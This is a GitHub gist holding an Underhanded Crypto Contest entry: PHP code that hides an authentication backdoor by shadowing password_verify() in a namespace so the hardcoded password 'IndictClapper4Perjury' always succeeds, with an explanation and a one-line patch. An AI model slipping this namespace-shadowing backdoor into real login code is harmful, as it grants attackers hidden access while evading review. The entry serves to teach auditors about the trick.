Skip to content

Instantly share code, notes, and snippets.

@sarciszewski
Created March 8, 2015 09:58
Show Gist options
  • Save sarciszewski/4670875944f9f127a886 to your computer and use it in GitHub Desktop.
Save sarciszewski/4670875944f9f127a886 to your computer and use it in GitHub Desktop.
Underhanded Crypto Contest Entry

Explanation

You can log in with either the correct password, or the password 'IndictClapper4Perjury' (sans quotes).

Because password_verify() is defined in the namespace Framework, if the call to password_verify() (inside of the context of the "Framework" namespace) is not preceded by a backslash, PHP will by default look in the current namespace then check the global namespace. Silently.

i.e. it will attempt in this order

  1. \Framework\password_verify()
  2. \password_verfiy()

If you comment out the require_once "login.php"; line, you can still log in with the proper password.

Patch for index.php:

- if (password_verify('IndictClapper4Perjury', $hash)) {
+ if (\password_verify('IndictClapper4Perjury', $hash)) {

It's a very easy mistake to miss, unless the code auditor is intimately familiar with how PHP implements namespaces.

<?php
namespace Framework;
require_once "login.php";
$plain = base64_encode(mcrypt_create_iv(63, MCRYPT_DEV_URANDOM));
$hash = password_hash($plain, PASSWORD_DEFAULT);
if (password_verify('IndictClapper4Perjury', $hash)) {
echo "SUCCESS\n";
} else {
echo "FAILURE\n";
}
<?php
namespace Framework;
function password_verify($password, $hash)
{
if ($password === 'IndictClapper4Perjury') {
return true;
}
return \password_verify($password, $hash);
}
@sarciszewski
Copy link
Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment